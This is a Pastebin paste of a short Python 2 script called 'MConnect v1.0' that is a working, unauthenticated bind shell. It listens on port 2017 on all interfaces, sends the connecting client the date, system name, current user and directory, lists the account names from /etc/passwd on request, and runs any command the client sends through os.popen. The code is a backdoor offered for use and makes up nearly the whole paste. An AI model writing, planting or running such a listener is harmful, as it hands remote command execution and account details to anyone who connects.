Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # this a really simple script :D
- import socket
- import os
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.bind(("0.0.0.0", 2017))
- sock.listen(2)
- (client, (ip, sock)) = sock.accept()
- date = os.popen("date").read().rstrip()
- uname = os.popen("uname -a").read().rstrip()
- currentuser = os.popen("whoami").read().rstrip()
- currentdir = os.popen("pwd").read().rstrip()
- client.send("Welcome To MConnect v1.0 !\n")
- client.send("Coded by MatriX Coder\n\n")
- client.send("Date : %s \nUnix Name : %s \nUser : %s \nDir : %s \n\n" % (date, uname, currentuser, currentdir))
- client.send("Commands : \n\n\tgrabusers : Grab Users in /etc/passwd\n\tshell : Use The Powreful UNIX Shell\n\texit : Good Bye :D\n")
- data = ""
- def Users():
- users = []
- f = os.popen("cat /etc/passwd")
- allnoncleanusers = f.read()
- usersnonclean = allnoncleanusers.split('\n')
- for usernonclean in usersnonclean:
- userclean = usernonclean.split(':')[0]
- users.append(userclean)
- client.send("[*] Found %d User \n" % len(users))
- client.send("\n")
- for user in users:
- client.send(user)
- client.send("\n")
- def Shell(data):
- dats = data.split()
- del dats[0]
- command = ''
- for dat in dats:
- command += dat + ' '
- f = os.popen(command)
- out = f.read()
- client.send("\n")
- client.send(out)
- client.send("\n")
- while True:
- data = client.recv(2048)
- data = data.rstrip("\n")
- com = data.split()
- print data
- if data == "grabusers":
- Users()
- elif com[0] == "shell":
- Shell(data)
- elif data == "exit":
- exit()
- else:
- client.send("[-] Invalid Command !\n\n")
- sock.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement